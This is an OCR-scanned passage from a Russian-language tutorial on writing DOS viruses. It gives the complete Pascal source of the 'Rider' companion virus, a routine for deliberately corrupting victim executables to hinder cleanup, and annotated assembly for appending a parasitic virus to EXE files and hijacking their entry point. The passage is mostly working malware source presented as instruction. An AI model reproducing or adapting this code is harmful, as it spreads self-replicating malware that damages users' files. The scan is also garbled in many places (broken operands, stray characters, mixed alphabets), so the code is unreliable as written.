11. Вернуть СОМ-файлу с инфицированной программой выбранное
расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-
лейный файл), а на его место с помощью командного процессора копи-
руется вирусный код. При запуске происходит заражение только что
найденного ЕХЕ-файла, затем вирусный код переименовывается
в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-
ние. Когда оригинал отработал, происходит переименование в обратном
порядке. С защищенного от записи диска программа не запустится, она
выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно про-
сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-
чение, в вирусе может быть использован такой прием:
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры надо учитывать, что заражаемая
и запускаемая на исполнение программа должна быть связана с пере-
менной Prog типа File, описанной в основном модуле. Суть процедуры
состоит в том, что из заражаемой программы считываются 10 байт и ко-
дируются операцией Not. ЕХЕ-программа становится неработоспособ-
ной. Запускать эту процедуру нужно не только перед прогоном ориги-
нала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High Heap Limit Ob }
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
Fail='Cannot execute '^13#10'Disk is write-protected';
{Расширения файлов, которые будем использовать}
Ovr='.OWL';
Ovl='.OVL';
Ехе=.ЕХЕ';
Var
Dirlnfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура для проверки диска на Read Only)
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult <> 0 Then
{Если диск защищен от записи, то ответ 'Access denied'}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура прогонки оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, Dirlnfo);
If DosError <> 0 Then
(Если не нашли}
begin
WriteLn('Virus RIDER. Let's go on riding!');
WriteLn('l beg your pardon, your infected file cannot be executed.');
(Выход с DosError=<t>ann не найден)
Halt(18);
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в ЕХЕ}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
(И запускаем его}
Swap Vectors;
Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);
Swap Vectors;
{А теперь возвращаем все на место)
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
(Процедура заражения}
procedure Infect;
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile;
begin
{В текущем каталоге ищем ЕХЕ-файл}
FindFirst('*EXE', AnyFile, Dirlnfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя жертвы}
Victim:=Dirlnfo.Name;
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)-4);
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure I nit;
begin
(Командная строка}
CmdLine:=";
{Полное имя нашей программы}
OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4);
For l:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(l)+' ';
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ' ');
end;
{Инициализируемся}
Init;
(Проверка диска на R/О}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.
Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне-
дряется в инфицируемую программу, это дает ему много преимуществ
перед всеми вышеописанными вирусами: на диске не появляются лиш-
ние файлы, нет забот с копированием и переименованием, кроме того,
усложняется лечение инфицированных файлов.
Стандартное заражение ЕХЕ-файлов
Стандартное заражение - заражение, при котором вирус внедряется
в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-
равление получил вирус. Принципиально действие такого вируса мало
отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-
граммы:
;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя Sl+смещение элемента
mov si,offset EXEHeader
[Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину файла
mov Reallen.dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
оверлейные файлы. Их длина, указанная в заголовке,
.-меньше реальной, то есть эти файлы загружаются
;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток
CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX - остаток, образующий
;еще одну (неучтенную) страницу.
.Добавим эту страницу к общему числу страниц -
;если остаток не равен нулю, то
.увеличим число страниц
or dx.dx
jz m1
inc ax
m1:
.Будем считать пригодным для заражения
.стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения констант, используемых в программе,
.равны смещению соответствующего
;элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
.Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
.Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
adc dx.0
рассчитаем получившуюся длину (одна страница - 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc ax
NewJen:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили число параграфов (AX) и остаток (DX - смещение
;вируса в последнем параграфе).
;0тнимем от числа параграфов в файле число
.параграфов в заголовке - получим сегмент входа в ЕХЕ-файл
sub ax,[si+HdrSize]
;3апишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExelP],dx
.Замечание: можно было округлить полученное число,
;и вирус начинался бы с OOOOh.
;Но этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.'Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
; Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateRle:
;3апишем тело вируса
WriteBody:
.-Установим указатель чтения/записи в конец файла
mov bx,Handle
хог сх,сх
xor dx.dx
mov ax,4202h
int 21 h
.Запишем тело вируса в файл
mov ah,40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h
;3апишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы
вируса передать управление инфицированной программе? Вот процеду-
ра выхода из вируса:
CureEXE:
StackBack:
-.Установим первоначальный указатель (сегмент и смещение) стека
mov ax.ds
-.Прибавим ООЮп, после чего в АХ будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении